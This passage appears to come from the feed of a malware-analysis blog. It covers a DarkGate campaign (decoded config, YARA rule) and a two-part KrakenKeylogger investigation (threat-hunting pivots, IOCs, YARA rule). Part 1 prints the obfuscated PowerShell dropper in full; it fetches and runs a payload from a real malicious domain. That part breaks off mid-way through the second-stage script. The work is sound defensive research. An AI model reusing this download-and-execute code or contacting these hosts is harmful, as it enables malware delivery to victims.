<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'[+] Output: </span><span class="si">{</span><span class="n">plainData</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
</code></pre></div></div>

<p>Below is the output of the script for these parameters:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- LIST = zLAxuU0kQKf3sWE7ePRO2imyg9GSpVoYC6rhlX48ZHnvjJDBNFtMd1I5acwbqT+=
- DATA = FpOkFahzFpOuNjxuFsfNFsOAMpOuNvkuFQrcHwtMDfmlHahzFpOuNqOuFs7uFsOAJqOuNj5uFs3kFsOAFpOuNqxuFs3WFsOAjjOuNvkuFsSuFsOLNjOuNjkuFs70FsOAMpOuNj3uFs3WFsOANpOuNqSuFsSuFsOxMsOuFq3uFsYzFsO0FsOuNskuFs7sFsOxNsOuNjkuFs70FsOAjpOuNjyuFsf5FsO0FsOuNpOuFs3UFsOAFqOuNvSuFs3UFsOANqOuNjkuFsSuFsO0jsOuFjOuFskLFsOzjpOuNpSuFsxLFsOzNqOuNs5uFskkFsOLNsOuNskuFsk0FsOzNpOuNsxuFsSuFsO0jsOuFjOuFskxFsOxFjOuNjyuFs7uFsOxFsOuNjkuFs3zFsO0FsOuNqkuFs7kFsOAMpOuNvkuFs3xFsO0FsOuN3xuFskkFsOzMpOuFjOuFskxFsOxFjOuNjyuFs7uFsOxFsOuNjkuFs70FsO0FsOuNj3uFs70FsOAjjOuNvxuFsSuFsOxNqOuNq7uFs7xFsO0jpOuNjkuFs7sFsOANpOuNvxuFs7kFsOAMpOuFvkuFs3kFsOAjjOuNvxuFQh0NsOAMsmQB9nzl9h2JcD0lVRl6HDylgok4aS253G04cmeCc0g4W52JWOs13oS6H0krsANFsOAMpOuNjYuFs70FsOAjjOuNqYuFsftFsOANjOuNqxuFsSuFsOzFjOuNjyuFs7kFsOAMpOuNjYuFsSuFsOzNsOuNj5uFs7kFsOxFsOuNvYuFs3UFsOxMpOuFjOuFsxUFsOANsOuNjyuFs7uFsOxNsOuNjkuFs70FsRQMsyWFJRcJZrh89ne4aEk1syu1fR04TO2hs3z13GL89re1syWFsxUrfIP6arQFp3WFsxzNpYLFar64HBG4aEGrsxGNZhursRQNqMWFe
- ID = GEabbfEcbKBadGaccCDCaGKccGGfKHKG

1033|410064006D0069006E00|MSXGLQPS|4100700070006C00690063006100740069006F006E0020005600650072006900660069006500720020007800360034002000450078007400650072006E0061006C0020005000610063006B0061006700650020002D00200055004E00520045004700490053005400450052004500440020002D002000570072006100700070006500640020007500730069006E00670020004D0053004900200057007200610070007000650072002000660072006F006D0020007700770077002E006500780065006D00730069002E0063006F006D00|240681|Intel Core Processor (Broadwell) @ 8 Cores|4D006900630072006F0073006F0066007400200042006100730069006300200044006900730070006C006100790020004100640061007000740065007200|8192 MB|Windows 10 Pro  x64 Build 19041|Yes||1690445353|Uno.own|4.6|0|0|7891
</code></pre></div></div>

<h1 id="summary">Summary</h1>

<p>On this campaign we’ve uncovered a global campaign using hijacked email threads for phishing, which leads to the download of a sophisticated malware known as DarkGate. Users downloading the malware received an MSI file with two embedded files which carried encoded shellcode for execution. DarkGate also used unique decoding for two embedded strings, revealing commands sent to the C2 and the malware’s configuration. Obfuscation techniques like Loop XOR and custom Base64 decoding were observed in DarkGate’s network activity. Python scripts were created to decrypt the payload and data in this comprehensive analysis.</p>

<h1 id="yara-rule">Yara Rule</h1>

<p>I created a YARA rule based on the procedure used to decode the strings:</p>

<div class="language-makefile highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">rule</span> <span class="err">Win_DarkGate</span>
<span class="err">{</span>
	<span class="nl">meta</span><span class="o">:</span>
		author <span class="o">=</span> <span class="s2">"0xToxin"</span>
		description <span class="o">=</span> <span class="s2">"DarkGate Strings Decoding Routine"</span>
		<span class="nb">date</span> <span class="o">=</span> <span class="s2">"2023-08-01"</span>
	strings:
		<span class="nv">$chunk_1</span> <span class="o">=</span> <span class="o">{</span>
			8B 55 ??
			8A 4D ??
			80 E1 3F
			C1 E1 02
			8A 5D ??
			80 E3 30
			81 E3 FF 00 00 00
			C1 EB 04
			02 CB
			88 4C 10 ??
			FF 45 ??
			80 7D ?? 40
			74 ??
			8B 45 ??
			E8 ?? ?? ?? ??
			8B 55 ??
			8A 4D ??
			80 E1 0F
			C1 E1 04
			8A 5D ??
			80 E3 3C
			81 E3 FF 00 00 00
			C1 EB 02
			02 CB
			88 4C 10 ??
			FF 45 ??
			80 7D ?? 40
			74 ??
			8B 45 ??
			E8 ?? ?? ?? ??
			8B 55 ??
			8A 4D ??
			80 E1 03
			C1 E1 06
			8A 5D ??
			80 E3 3F
			02 CB
			88 4C 10 ??
			FF 45 ??
		<span class="o">}</span>
	
	condition:
		any of them
<span class="err">}</span>
</code></pre></div></div>

<h1 id="references">References</h1>

<ul>
  <li><a href="https://gist.github.com/0xToxin/43e25700510ad3cc6268994b56c9a710">DarkGate Final Payload Extractor</a></li>
  <li><a href="https://gist.github.com/0xToxin/c85c23b99d04fbb27bb4d5160f4b86a6">DarkGate Strings Decoder</a></li>
  <li><a href="https://gist.github.com/0xToxin/b9b1db86f8b395a6ef6c6e99698d1f64">DarkGate Decoded Strings</a></li>
  <li><a href="https://gist.github.com/0xToxin/64c007101f4ec3efc2f9b2e37b449899">DarkGate Network Traffic Decryptor</a></li>
  <li><a href="https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign">Fortinet Blog About DarkGate</a></li>
  <li><a href="https://xss.is/threads/90634/">DarkGate Selling Thread On xss.is</a></li>
  <li><a href="https://tria.ge/230727-j1rfxscg7s/behavioral2">Triage Scan</a></li>
</ul>]]></content><author><name>0x1john</name></author><category term="Threat Breakdown" /><category term="DarkGate" /><category term="Loader" /><category term="ShellCode" /><category term="Delphi" /><category term="Yara" /><category term="IDA" /><category term="IDAPython" /><category term="Injection" /><summary type="html"><![CDATA[Shining a Light on the Hidden Tactics and Techniques Employed by DarkGate]]></summary></entry><entry><title type="html">Kraken - The Deep Sea Lurker Part 2</title><link href="https://0x1john.github.io/threat%20hunting/KrakenKeylogger-pt2/" rel="alternate" type="text/html" title="Kraken - The Deep Sea Lurker Part 2" /><published>2023-05-26T00:00:00+00:00</published><updated>2023-05-26T00:00:00+00:00</updated><id>https://0x1john.github.io/threat%20hunting/KrakenKeylogger-pt2</id><content type="html" xml:base="https://0x1john.github.io/threat%20hunting/KrakenKeylogger-pt2/"><![CDATA[<h1 id="intro">Intro</h1>

<p>In the second part of analyzing the “KrakenKeylogger”, I will be diving into some proactive “threat hunting” steps I’ve done during my research about the Kraken. <br />
If you haven’t already read the first part of analyzing the Kraken, be sure to check it out <a href="https://0xtoxin.github.io/malware%20analysis/KrakenKeylogger-pt1/">here</a> <br />
With that saying let’s begin!</p>

<h1 id="what-we-have">What we have?</h1>

<p>Let’s start with what we currently have and how can we pivot with it:</p>
<ul>
  <li><strong>C2:</strong> thereccorp.com</li>
  <li><strong>Payload fetching domain:</strong> masherofmasters.cyou</li>
  <li><strong>Binary Name:</strong> KrakenStub</li>
</ul>

<p>The hunting will be splitted into 4 part:</p>
<ol>
  <li>thereccorp.com analysis</li>
  <li>masherofmasters.cyou analysis</li>
  <li>UnpackMe Yara Hunt</li>
  <li>OSINT research</li>
</ol>

<h1 id="thereccorpcom-analysis">thereccorp.com Analysis</h1>

<p>We start off with our final C2 domain <code class="language-plaintext highlighter-rouge">thereccorp.com</code>, searching the domain in <a href="https://www.virustotal.com/gui/domain/thereccorp.com/detection">VirusTotal</a> will respond us with a solid <strong>0/87</strong> vendors detection:</p>

<p><img src="/assets/images/Kraken-Keylogger-pt2/1.png" alt="image.png" /></p>

<p>going to the <code class="language-plaintext highlighter-rouge">relations</code> tab and looking at the <code class="language-plaintext highlighter-rouge">Communicating Files</code> files we can see 22 files which all were flagged as malicious:</p>

<p><img src="/assets/images/Kraken-Keylogger-pt2/2.png" alt="image-2.png" /></p>

<p>all files are pretty recent (oldest one dated to <code class="language-plaintext highlighter-rouge">7th of May 23</code>), this in fact helps us to understand that the campaign is pretty new and keeps being distributed. <br /></p>

<p>Some files were already analyzed by various sandboxes and this helped me a lot by downloading the file from those sandboxes reports (most Sandboxes I know allow downloading the examined sample).
Let’s have a look at couple samples that were actually flagged falsely</p>

<h2 id="rarecommodityhelperexe">RareCommodityHelper.exe</h2>

<ul>
  <li>Sha256: 8a6bebf08f6c223ed9821ee3b80e420060c66770402687f5c98555f9b0cd02a3</li>
  <li><a href="https://www.virustotal.com/gui/file/8a6bebf08f6c223ed9821ee3b80e420060c66770402687f5c98555f9b0cd02a3/detection">VirusTotal</a></li>
  <li><a href="https://bazaar.abuse.ch/sample/8a6bebf08f6c223ed9821ee3b80e420060c66770402687f5c98555f9b0cd02a3/">MalwareBazaar</a></li>
</ul>

<p>Looking at the <code class="language-plaintext highlighter-rouge">Vendor Threat Intelligence</code> tab in the MalwareBazaar report we can see that 3 different family associated with the sample.</p>

<p><img src="/assets/images/Kraken-Keylogger-pt2/3.png" alt="image-3.png" /></p>

<p>I’ve opened the report of <a href="https://www.joesandbox.com/analysis/863303/0/html">JoeSandBox</a> and simply searched for the string <code class="language-plaintext highlighter-rouge">kraken</code> and surprisingly look what popped up:</p>

<p><img src="/assets/images/Kraken-Keylogger-pt2/4.png" alt="image-4.png" /></p>

<p>Why would <code class="language-plaintext highlighter-rouge">AgentTesla</code> malware will have <code class="language-plaintext highlighter-rouge">KrakenStub</code> named file during it’s execution?</p>

<p>I took a look also <a href="https://www.unpac.me/results/dd258f66-c163-4254-810c-4ee8e3c0b643/#/">UnpackMe</a> report. <br />
Looking at the Unpacked binary that was flagged as <code class="language-plaintext highlighter-rouge">masslogger</code> we can see the <code class="language-plaintext highlighter-rouge">ProductName</code>, <code class="language-plaintext highlighter-rouge">FileDescription</code>, <code class="language-plaintext highlighter-rouge">OriginalFilename</code> and <code class="language-plaintext highlighter-rouge">InternalName</code> share the same suspicious string we’re looking for: <code class="language-plaintext highlighter-rouge">KrakenStub</code></p>

<p><img src="/assets/images/Kraken-Keylogger-pt2/5.png" alt="image-5.png" /></p>

<h2 id="rarecommodityhelperexe-1">RareCommodityHelper.exe</h2>
<ul>
  <li>Sha256: 413ec94d35627af97c57c6482630e6b2bb299eebf164e187ea7df0a0eb80ecc6</li>
  <li><a href="https://www.virustotal.com/gui/file/413ec94d35627af97c57c6482630e6b2bb299eebf164e187ea7df0a0eb80ecc6/community">VirusTotal</a></li>
  <li><a href="https://bazaar.abuse.ch/sample/413ec94d35627af97c57c6482630e6b2bb299eebf164e187ea7df0a0eb80ecc6">MalwareBazaar</a></li>
</ul>

<p>Going with the same approach as before, I took a look at the report of the different vendors under MalwareBazaar page and found again 3 different families:</p>

<p><img src="/assets/images/Kraken-Keylogger-pt2/6.png" alt="image-6.png" /></p>

<p>I once again checked if our suspicious <code class="language-plaintext highlighter-rouge">Kraken</code> string can be found either in <a href="https://www.joesandbox.com/analysis/864080/0/html">JoeSandbox</a> or <a href="https://www.unpac.me/results/fb8809b4-7327-4621-8b3b-4cdbdfa5b66e/#/">UnpackMe</a> reports and guess what?</p>

<p><img src="/assets/images/Kraken-Keylogger-pt2/7.png" alt="image-7.png" /></p>

<p><img src="/assets/images/Kraken-Keylogger-pt2/8.png" alt="image-8.png" /></p>

<p>Kraken was found in both of them once again.<br />
At this point I felt comfortable with my findings from the C2 IOC. <br />
Let’s move to the second domain we have.</p>

<h1 id="masherofmasterscyou-analysis">masherofmasters.cyou Analysis</h1>

<p>Typically when I encounter a domain I will investigate it in 3 main sources:</p>
<ol>
  <li>VirusTotal</li>
  <li>URLscan</li>
  <li>URLhaus</li>
</ol>

<p>those 3 are my <strong><em>go to</em></strong> sources for inital domain information gathering.</p>

<h2 id="virustotal">VirusTotal</h2>

<p>Looking at the domain on VirusTotal can give us a lot of data, such as DNS records, JARM fingerprints, SSL Certs, WhoIS lookup and much more, but the interesting part that I look when doing a proactive hunt is the <a href="https://www.virustotal.com/gui/domain/masherofmasters.cyou/relations">Relations tab</a> , this tab can tell us which IP’s this domain was assigned to, if it has subdomains and which <strong>associated files</strong> this domain had connection with:</p>

<p><img src="/assets/images/Kraken-Keylogger-pt2/9.png" alt="image.png" /></p>

<p>Based on the given list, we can see that 5 files were <code class="language-plaintext highlighter-rouge">.lnk</code> files, which correlated with our execution flow explained in part 1. (from here you can take the files and see the execution flow when they’re detonated and compare to your findings)</p>

<h2 id="urlscan">URLscan</h2>

<p>Unfortunetlly at the time of investigation the domain was already terminated and no previous scans were made on URLscan so I couldn’t find nothing about it here…</p>

<h2 id="urlhaus">URLhaus</h2>

<p>When I searched the <a href="https://urlhaus.abuse.ch/browse.php?search=masherofmasters.cyou">domain in URLhaus</a> I found about 12 hits:</p>

<p><img src="/assets/images/Kraken-Keylogger-pt2/10.png" alt="image-2.png" /></p>

<p>Some of the files are being flagged as <code class="language-plaintext highlighter-rouge">MassLogger</code> others were flagged as <code class="language-plaintext highlighter-rouge">SnakeKeylogger</code> and also <code class="language-plaintext highlighter-rouge">AgentTesla</code> , I investigated all the files and actually the ones that were marked as <code class="language-plaintext highlighter-rouge">AgentTesla</code> were indeed that malware but the samples which were flagged as <code class="language-plaintext highlighter-rouge">MassLogger</code> and <code class="language-plaintext highlighter-rouge">SnakeKeylogger</code> were actually our beloved <code class="language-plaintext highlighter-rouge">Kraken</code>…</p>

<h1 id="unpackme-yara-hunt">UnpackMe Yara Hunt</h1>

<p><a href="https://www.unpac.me/#/">UnpackMe</a> provides a unique service of proactive lookback on samples analyzed by the platform based on a given <a href="https://github.com/VirusTotal/yara">Yara rule</a> <br />
The rule I’ve created was simply based on unique strings that I found in the sample:</p>
<div class="language-vb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">rule</span> <span class="n">Win_KrakenStealer</span> <span class="p">{</span>
    <span class="n">meta</span><span class="p">:</span>
        <span class="n">description</span> <span class="o">=</span> <span class="s">"Win_KrakenStealer rules"</span>
    <span class="n">strings</span><span class="p">:</span>
		<span class="err">$</span><span class="n">s1</span> <span class="o">=</span> <span class="s">"KrakenStub"</span> <span class="n">ascii</span> <span class="n">wide</span>
		<span class="err">$</span><span class="n">s2</span> <span class="o">=</span> <span class="s">"KrakenStub.exe"</span> <span class="n">ascii</span> <span class="n">wide</span>
		<span class="err">$</span><span class="n">s3</span> <span class="o">=</span> <span class="s">"Kraken_Keylogs_"</span> <span class="n">ascii</span> <span class="n">wide</span>
		<span class="err">$</span><span class="n">s4</span> <span class="o">=</span> <span class="s">"Kraken_Password_"</span> <span class="n">ascii</span> <span class="n">wide</span>
		<span class="err">$</span><span class="n">s5</span> <span class="o">=</span> <span class="s">"Kraken_Screenshot_"</span> <span class="n">ascii</span> <span class="n">wide</span>
		<span class="err">$</span><span class="n">s6</span> <span class="o">=</span> <span class="s">"Kraken_Clipboard_"</span> <span class="n">ascii</span> <span class="n">wide</span>
		<span class="err">$</span><span class="n">s7</span> <span class="o">=</span> <span class="s">"KrakenClipboardLog.txt"</span> <span class="n">ascii</span> <span class="n">wide</span>
		
    <span class="n">condition</span><span class="p">:</span>
        <span class="n">uint16</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="n">x5a4d</span> <span class="n">and</span> <span class="mi">5</span> <span class="n">of</span> <span class="p">(</span><span class="err">$</span><span class="n">s</span><span class="o">*</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div></div>

<p>And here is the result of the <a href="https://www.unpac.me/yara/results/0c947a38-329e-4d2d-8cac-b250ac16c73d">hunt</a>:</p>

<p><img src="/assets/images/Kraken-Keylogger-pt2/11.png" alt="image.png" /></p>

<p>In a 12 weeks lookback there were 11 samples that fitted the given Yara Rule, <strong>8</strong> of them were marked as <code class="language-plaintext highlighter-rouge">MassLogger</code>, so I took a look at <a href="https://www.unpac.me/results/133f1658-0a19-4355-bfbc-983d8ee80d4e?hash=3d680334931e422f3876eaa6df752da015a902270f73cdfb8f6812910b48c3c2#/">one of them</a></p>

<p><img src="/assets/images/Kraken-Keylogger-pt2/12.png" alt="image-2.png" /></p>

<p>and by simply looking at the <code class="language-plaintext highlighter-rouge">File Version Information</code> we can see that it’s 99% our <code class="language-plaintext highlighter-rouge">Kraken</code> , I downloaded the sample and opened it in <code class="language-plaintext highlighter-rouge">DnSpy</code> and guess what?</p>

<p><img src="/assets/images/Kraken-Keylogger-pt2/13.png" alt="image-3.png" /></p>

<p>It was our <code class="language-plaintext highlighter-rouge">Kraken</code>! so we found about 11 samples that are flagged falsely.<br />
And with that our hunt for samples is done, from here you can pretty much correlate some IOC’s so see whether or not it’s the same threat actor.</p>

<h1 id="osint-research">OSINT Research</h1>

<p>At this part I wanted to try and find the origin of the malware, so I tried two things:</p>
<ol>
  <li>Search engine dorking</li>
  <li>Underground forums</li>
</ol>

<h2 id="search-engine-dorking">Search Engine Dorking</h2>

<p>I tried to search the term <code class="language-plaintext highlighter-rouge">"KrakenStub" malware</code> both in Google and DuckDuckGo, besides giving me 2 analysis one of JoeSandbox and the second one of Vmray I couldn’t finding anything useful but it always good to try and search using search engines because you can’t really know what you can find…</p>

<h2 id="underground-forums">Underground Forums</h2>

<p>there are several underground/hacking forums that you can find on the clean web without the needs going to TOR and pivoting around the darknet.<br />
One of the most known hacking forums out there is <a href="https://hackforums.net/">HackForums</a> , so I tried my luck and searched through the marketplace forum for “Kraken” keywords, and after quite some time and found <a href="https://hackforums.net/showthread.php?tid=6228252">this thread</a> :<strong><em>#1 KrakenKeylogger | 3 Senders | E-Mail Client &amp; Browser Recovery | Perfect Features</em></strong> sold by a user named <code class="language-plaintext highlighter-rouge">Krakenz</code>:</p>

<p><img src="/assets/images/Kraken-Keylogger-pt2/14.png" alt="image.png" /></p>

<p>What a perfect hit!<br />
that particular finding made my day, I knew that this is it, I’ve closed the circle and I can close this case and fully resolved.</p>

<h1 id="extra-findings">Extra Findings</h1>

<p>After I’ve published part 1 of analyzing the Kraken, <a href="https://twitter.com/jw4lsec">@jw4lsec</a> and me had a small conversation and he shared with me that Windows Defender was flagging the sample I’ve shared during the investigation as a different malware upon each different execution attempt:</p>

<p><img src="/assets/images/Kraken-Keylogger-pt2/15.png" alt="image.png" /></p>

<p><img src="/assets/images/Kraken-Keylogger-pt2/16.png" alt="image-2.png" /></p>

<h1 id="summary">Summary</h1>

<p>In the 2nd part of analyzing the Kraken I’ve showed you my way of thinking and approach to the process of threat hunting, especially when your guts tells you that something here is not right. I hope that during those 2 parts of analysis you’ve learned new things, feel free to PM me via any social media.</p>]]></content><author><name>0x1john</name></author><category term="Threat Hunting" /><category term="KrakenKeylogger" /><category term="Dorking" /><category term="URLscan" /><category term="VirusTotal" /><category term="URLhaus" /><category term="UnpackMe" /><category term="Yara" /><summary type="html"><![CDATA[Part 2 of analyzing the KrakenKeylogger Malware]]></summary></entry><entry><title type="html">Kraken - The Deep Sea Lurker Part 1</title><link href="https://0x1john.github.io/malware%20analysis/KrakenKeylogger-pt1/" rel="alternate" type="text/html" title="Kraken - The Deep Sea Lurker Part 1" /><published>2023-05-20T00:00:00+00:00</published><updated>2023-05-20T00:00:00+00:00</updated><id>https://0x1john.github.io/malware%20analysis/KrakenKeylogger-pt1</id><content type="html" xml:base="https://0x1john.github.io/malware%20analysis/KrakenKeylogger-pt1/"><![CDATA[<h1 id="intro">Intro</h1>
<p>In this first part we will be going through a recent phishing campaign delivering a never seen before “KrakenKeylogger” malware.</p>

<h1 id="the-phish">The Phish</h1>
<p>The mail sent to the victim is a simple malspam mail with archive attachment:</p>

<p><img src="/assets/images/Kraken-Keylogger-pt1/1.png" alt="image.png" /></p>

<p>The archive is a <code class="language-plaintext highlighter-rouge">.zip</code> archive that contains <code class="language-plaintext highlighter-rouge">.lnk</code> file:</p>

<p><img src="/assets/images/Kraken-Keylogger-pt1/2.png" alt="image-2.png" /></p>

<h1 id="lnk-analysis">LNK Analysis</h1>
<h2 id="lecmd-tool">LEcmd Tool</h2>
<p>In order to analyze an <code class="language-plaintext highlighter-rouge">.lnk</code> file I use the <a href="https://github.com/EricZimmerman/LECmd">LeCMD</a> tool. 
By using the tool we can see that the .lnk will execute <code class="language-plaintext highlighter-rouge">PowerShell.exe</code> alongside with an argument:</p>

<p><img src="/assets/images/Kraken-Keylogger-pt1/3.png" alt="image-3.png" /></p>

<h2 id="powershell-script">PowerShell Script</h2>
<p>Let’s breakdown the script:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s2">"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"</span><span class="w"> </span><span class="nt">-ExecutionPolicy</span><span class="w"> </span><span class="n">UnRestricted</span><span class="w"> </span><span class="nv">$ProgressPreference</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> 
</span><span class="kr">function</span><span class="w"> </span><span class="nf">nvRClWiAJT</span><span class="p">(</span><span class="nv">$OnUPXhNfGyEh</span><span class="p">){</span><span class="w"> 
    </span><span class="nv">$OnUPXhNfGyEh</span><span class="p">[</span><span class="nv">$OnUPXhNfGyEh</span><span class="o">.</span><span class="nf">Length</span><span class="o">..</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">-join</span><span class="p">(</span><span class="s1">''</span><span class="p">)</span><span class="w">
</span><span class="p">};</span><span class="w"> 

</span><span class="kr">function</span><span class="w"> </span><span class="nf">sDjLksFILdkrdR</span><span class="p">(</span><span class="nv">$OnUPXhNfGyEh</span><span class="p">){</span><span class="w"> 
    </span><span class="nv">$vecsWHuXBHu</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">nvRClWiAJT</span><span class="w"> </span><span class="nv">$OnUPXhNfGyEh</span><span class="p">;</span><span class="w"> 
    </span><span class="kr">for</span><span class="p">(</span><span class="nv">$TJuYrHOorcZu</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="nv">$TJuYrHOorcZu</span><span class="w"> </span><span class="o">-lt</span><span class="w"> </span><span class="nv">$vecsWHuXBHu</span><span class="o">.</span><span class="nf">Length</span><span class="p">;</span><span class="nv">$TJuYrHOorcZu</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="mi">2</span><span class="p">){</span><span class="w"> 
        </span><span class="kr">try</span><span class="p">{</span><span class="w">
            </span><span class="nv">$zRavFAQNJqOVxb</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">nvRClWiAJT</span><span class="w"> </span><span class="nv">$vecsWHuXBHu</span><span class="o">.</span><span class="nf">Substring</span><span class="p">(</span><span class="nv">$TJuYrHOorcZu</span><span class="p">,</span><span class="nx">2</span><span class="p">)</span><span class="w">
        </span><span class="p">}</span><span class="w"> 
        </span><span class="kr">catch</span><span class="p">{</span><span class="w">
            </span><span class="nv">$zRavFAQNJqOVxb</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="nv">$vecsWHuXBHu</span><span class="o">.</span><span class="nf">Substring</span><span class="p">(</span><span class="nv">$TJuYrHOorcZu</span><span class="p">,</span><span class="nx">1</span><span class="p">)</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">};</span><span class="w">
    </span><span class="nv">$zRavFAQNJqOVxb</span><span class="w">
</span><span class="p">};</span><span class="w"> 

</span><span class="nv">$NpzibtULgyi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">sDjLksFILdkrdR</span><span class="w"> </span><span class="s1">'aht1.sen/hi/coucys.erstmaofershma//s:tpht'</span><span class="p">;</span><span class="w"> 
</span><span class="nv">$cDkdhkGBtl</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$</span><span class="nn">env</span><span class="p">:</span><span class="nv">APPDATA</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s1">'\'</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="nv">$NpzibtULgyi</span><span class="w"> </span><span class="o">-split</span><span class="w"> </span><span class="s1">'/'</span><span class="p">)[</span><span class="nt">-1</span><span class="p">];</span><span class="w"> 
</span><span class="p">[</span><span class="n">Net.ServicePointManager</span><span class="p">]::</span><span class="n">SecurityProtocol</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Net.SecurityProtocolType</span><span class="p">]::</span><span class="n">Tls12</span><span class="p">;</span><span class="w"> 
</span><span class="nv">$wbpiCTsGYi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">wget</span><span class="w"> </span><span class="nv">$NpzibtULgyi</span><span class="w"> </span><span class="nt">-UseBasicParsing</span><span class="p">;</span><span class="w"> 
</span><span class="p">[</span><span class="n">IO.File</span><span class="p">]::</span><span class="n">WriteAllText</span><span class="p">(</span><span class="nv">$cDkdhkGBtl</span><span class="p">,</span><span class="w"> </span><span class="nv">$wbpiCTsGYi</span><span class="p">);</span><span class="w"> </span><span class="o">&amp;</span><span class="w"> </span><span class="nv">$cDkdhkGBtl</span><span class="p">;</span><span class="w"> 
</span><span class="n">sleep</span><span class="w"> </span><span class="nx">3</span><span class="p">;</span><span class="w"> 
</span><span class="n">rm</span><span class="w"> </span><span class="nv">$cDkdhkGBtl</span><span class="p">;</span><span class="w">
</span></code></pre></div></div>

<p>The script will create a new string which will be the URL to the next payload, the script will take the obfuscated URL string and will deobfuscate it in several steps:</p>
<ol>
  <li>The string will be reversed by the function <code class="language-plaintext highlighter-rouge">nvRClWiAJT</code>.</li>
  <li>a for loop will iterate through the flipped string and will jump every 2 chars.</li>
  <li>each iteration 2 chars will be flipped again, and in the last iteration the last char will flipped also but it won’t have any effect.</li>
</ol>

<p>Here is a quick python script that does this process:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">input_string</span> <span class="o">=</span> <span class="s">'aht1.sen/hi/coucys.erstmaofershma//s:tpht'</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="n">output_string</span> <span class="o">=</span> <span class="s">''</span>

<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">input_string</span><span class="p">),</span> <span class="mi">2</span><span class="p">):</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">tmp</span> <span class="o">=</span> <span class="n">input_string</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">+</span> <span class="n">input_string</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span>
        <span class="n">output_string</span> <span class="o">+=</span> <span class="n">tmp</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
    <span class="k">except</span><span class="p">:</span>
        <span class="n">output_string</span> <span class="o">+=</span> <span class="n">input_string</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>

<span class="k">print</span><span class="p">(</span><span class="n">output_string</span><span class="p">)</span>        
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://masherofmasters.cyou/chin/se1.hta
</code></pre></div></div>

<h1 id="se1hta">se1.hta</h1>
<p>The fetched payload will be yet another powershell script:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s2">"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"</span><span class="w"> </span><span class="nt">-ExecutionPolicy</span><span class="w"> </span><span class="n">UnRestricted</span><span class="w"> 

</span><span class="kr">function</span><span class="w"> </span><span class="nf">WQgtWbWK</span><span class="p">(</span><span class="nv">$FL</span><span class="p">,</span><span class="w"> </span><span class="nv">$i</span><span class="p">){</span><span class="w">
    </span><span class="p">[</span><span class="n">IO.File</span><span class="p">]::</span><span class="n">WriteAllBytes</span><span class="p">(</span><span class="nv">$FL</span><span class="p">,</span><span class="w"> </span><span class="nv">$i</span><span class="p">)</span><span class="w">
</span><span class="p">};</span><span class="w">

</span><span class="kr">function</span><span class="w"> </span><span class="nf">APcZNMgjQ</span><span class="p">(</span><span class="nv">$FL</span><span class="p">){</span><span class="w">
    </span><span class="kr">if</span><span class="p">(</span><span class="nv">$FL</span><span class="o">.</span><span class="nf">EndsWith</span><span class="p">((</span><span class="n">QXUpF</span><span class="w"> </span><span class="p">@(</span><span class="mi">4995</span><span class="p">,</span><span class="mi">5049</span><span class="p">,</span><span class="mi">5057</span><span class="p">,</span><span class="mi">5057</span><span class="p">)))</span><span class="w"> </span><span class="o">-eq</span><span class="w"> </span><span class="nv">$True</span><span class="p">){</span><span class="w">
        </span><span class="n">Start-Process</span><span class="w"> </span><span class="p">(</span><span class="n">QXUpF</span><span class="w"> </span><span class="p">@(</span><span class="mi">5063</span><span class="p">,</span><span class="mi">5066</span><span class="p">,</span><span class="mi">5059</span><span class="p">,</span><span class="mi">5049</span><span class="p">,</span><span class="mi">5057</span><span class="p">,</span><span class="mi">5057</span><span class="p">,</span><span class="mi">5000</span><span class="p">,</span><span class="mi">4999</span><span class="p">,</span><span class="mi">4995</span><span class="p">,</span><span class="mi">5050</span><span class="p">,</span><span class="mi">5069</span><span class="p">,</span><span class="mi">5050</span><span class="p">))</span><span class="w"> </span><span class="nv">$FL</span><span class="w">
    </span><span class="p">}</span><span class="kr">else</span><span class="p">{</span><span class="w">
        </span><span class="n">Start-Process</span><span class="w"> </span><span class="nv">$FL</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">};</span><span class="w">

